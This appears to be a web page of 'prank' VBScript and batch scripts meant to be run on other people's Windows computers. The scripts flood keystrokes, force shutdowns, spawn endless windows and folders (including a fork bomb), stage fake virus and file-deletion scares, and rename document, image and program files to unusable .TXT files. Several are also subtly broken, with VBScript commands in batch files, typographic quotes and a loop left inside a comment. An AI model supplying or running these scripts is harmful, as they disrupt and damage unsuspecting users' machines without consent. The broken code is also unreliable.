PRANKS

Message box pop up
Make a message box that appear on the screen.

do*
MsgBox (" Type here the text that you want.")
loop*
*If you set 'do and loop', the message box appear again and again ...
Save it as Anything.vbs

Convey a little mesage box and shutdown the computer

@echo off
MsgBox ("I don't like you !!!")
shutdown -c "Error! You are too ******!" -s
Save it as Anything.bat

Toggle the Caps Lock button cintinuously

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
Save it as Anything.vbs

Continoually Pop Out the CD drive

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
Save it as Anything.vbs

Hit Backspace/ ENTER/ CAPSLOCK/ NUMLOCK/ SCROLLLOCK continually

MsgBox ("Let's go back a few steps !!!")
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
'OR wshshell.sendkeys "{ENTER}" 'OR wshshell.sendkeys "{CAPSLOCK}" 'OR wshshell.sendkeys "{NUMLOCK}" 'OR wshshell.sendkeys "{SCROLLLOCK}" loop
Save it as Anything.vbs

Let the keyboard type "You are a fool." continuously

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop
Save it as Anything.vbs

Start Notepad cintinuously

@echo off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top
Save it as Anything.bat

Make a Disco on your keyboard

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop
Save it as Anything.vbs

Fork Bomber

@ECHO OFF
:START
START fork.bat
GOTO START
Save it as Anything.bat

Making "the virus"

Msgbox "Your computer has been infected by a virus",16,"Warning !"
dim x,yes,no
x=Msgbox("Virus has infected hard drive (C:). Deletion of the virus will require complete formatting of hard drive (C:). Would you like to format hard drive (C:) ?",52,"Warning !")
if x=6 then
dim box
box=Msgbox("Hard drive (C:) formatting complete. In order to function correctly your computer must restart, would you like to restart now ?",36,"Formatting has been completed")
if box=6 then
Msgbox "Fatal error, code 08x48631643.B-7",16,"ERROR"
Msgbox "Just kidding, this was all a joke, but i did scare you didn't I ? Héhé...",64,"Made by GillesM95"
end if
if box=7 then
Msgbox "Fatal error, code 08x48631643.B-7",16,"ERROR"
Msgbox "Just kidding, this was all a joke, but i did scare you didn't I ? Héhé...",64,"Made by GillesM95"
end if
end if
if x=7 then
Msgbox "Fatal error, code 08x48631643.B-7",16,"ERROR"
Msgbox "Just kidding, this was all a joke, but i did scare you didn't I ? Héhé...",64,"Made by GillesM95"
end if
Save it as Anything.vbs

Automate Typer

Set wshshell = wscript.CreateObject(”WScript.Shell”)
Wshshell.run “Notepad”
wscript.sleep 400
wshshell.sendkeys “H”
wscript.sleep 100
wshshell.sendkeys “i”
wscript.sleep 200
wshshell.sendkeys ” ”
wscript.sleep 200
wshshell.sendkeys “I”
wscript.sleep 200
wshshell.sendkeys ” ”
wscript.sleep 100
wshshell.sendkeys “a”
wscript.sleep 100
wshshell.sendkeys “m”
wscript.sleep 200
wshshell.sendkeys ” ”
wscript.sleep 100
wshshell.sendkeys “a”
wscript.sleep 100
wshshell.sendkeys “”
wscript.sleep 100
wshshell.sendkeys “V”
wscript.sleep 100
wshshell.sendkeys “B”
wscript.sleep 100
wshshell.sendkeys “S”
wscript.sleep 100
wshshell.sendkeys “”
wscript.sleep 200
wshshell.sendkeys ”c”
wscript.sleep 100
wshshell.sendkeys “o”
wscript.sleep 100
wshshell.sendkeys “d”
wscript.sleep 100
wshshell.sendkeys “e”
wscript.sleep 100
wshshell.sendkeys “”
wscript.sleep 100
wshshell.sendkeys “!”
wscript.sleep 100
wshshell.sendkeys “!”
wscript.sleep 100
wshshell.sendkeys “!”
Save it as Anything.vbs

Matrix effect

@echo off
color 02
:start
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto start
Save it as Anything.bat

Unclosable File

@echo off
md hello
:A
start hello
goto A
Save it as Anything.bat

"Delete"
This prank will make your friends think that all of their files are being deleted and then at the end the file deletes itself so it is untraceable.

@echo off
echo do you want to delete all of your computer data? (y/n)
pause >nul
echo Do not exit out of the screen or all computer data will be deleted.
ping localhost -n 2 > nul
echo Are you sure you want to delete all computer data? (y/n)
pause >nul
echo deleting all data...
echo.
echo.
pause localhost -n 2 > nul
dir /s
echo.
echo.
ping localhost -n 2 > nul
cls
echo error.. error.. Not all data deleted, are you sure you wish to stop? (y/n)
pause
echo.
echo.
ping localhost -n 1 > nul
cls
dir /s
echo.
echo.
ping localhost -n 2 >nul
cls
echo all data has been deleted..
pause
del "c:delete.bat"
Save it as Delete.bat

Command prompts unlimited
This prank will open and unlimited amount of command prompts until the computer crashes or you manually crash it.

start virus.bat
Save it as virus.bat

Shutdown
This makes your friend think that his/her computer has a virus then their computer shuts down.

@echo off
:A
cls
echo Do you wanna crash your computer? (y/n)
pause
echo Are you sure? (y/n)
pause
echo your computer will crash when the time reaches zero.
pause
msg * Your computer will crash in...
msg * 5
msg * 4
msg * 3
msg * 2
msg * 1
msg * Good-Bye
msg * You have been pwned! :)
shutdown -s -t 00
Save it as Anything.vbs

Fake Area
Shows a fake username and password entrance area then deletes it self.

@echo off
echo If the proper username and password is not entered all files will be deleted by this virus.
echo Good Luck
set/p\/name=username:
set/p\/password=password:
echo haha you got the username and password wrong
pause
echo Files are being deleted
pause
dir/s
del "c:up.bat"
Save it as up.bat

TXT Files
Change files to non-working TXT files

REN *.DOC *.TXT
REN *.JPEG *.TXT
REN *.LNK *.TXT
REN *.AVI *.TXT
REN *.MPEG *.TXT
REN *.COM *.TXT
REN *.BAT *.TXT
save it as Anything.bat

Make 1 000 folders in a few seconds

@echo off
:top
md %random%
goto top
Save it as Anything.bat

© 2023 Muzammil Loya